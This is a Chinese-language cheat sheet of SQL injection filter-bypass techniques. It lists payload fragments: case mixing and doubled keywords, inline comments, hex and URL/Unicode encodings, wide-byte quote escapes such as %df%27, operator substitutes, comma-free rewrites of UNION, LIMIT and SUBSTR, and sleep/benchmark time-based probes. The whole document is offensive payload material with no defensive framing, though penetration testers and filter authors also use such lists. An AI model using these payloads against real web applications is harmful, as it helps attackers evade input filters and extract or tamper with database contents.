sql注入常见绕过技巧

UniOn SeleCt

ununionion seselectlect

and /*!select*/ 1,2

select * from users where username = test1;
select * from users where username = 0x7465737431;

1+and+1=2
1+%25%36%31%25%36%65%25%36%34+1=2 

单引号=> %u0037 %u02b9
空格=> %u0020 %uff00
左括号=> %u0028 %uff08
右括号=> %u0029 %uff09

unio<>n sel<>ect

uni/**/on se/**/lect

/**/
%20 %09
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

and = &&
or = ||

?id=1 or 1 like 1
?id=1 or 1 rlike 1
?id=1 or 1 regexp 1
?id=1 or !(1 <> 1)或者1 !(<>) 1

# 过滤单引号时
%bf%27  %df%27  %aa%27

‘user‘=>0x7573657273

select substr("string",1,3);
等价于 select substr("string" from 1 for 3);

union select 1,2,3
等价于 union select * from (select 1)a join (select 2)b join(select 3)c

适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2

and sleep(1)
等价于 and benchmark(1000000000,1)

select group_concat("str1","str2");
等价于 select concat_ws(",","str1","str2");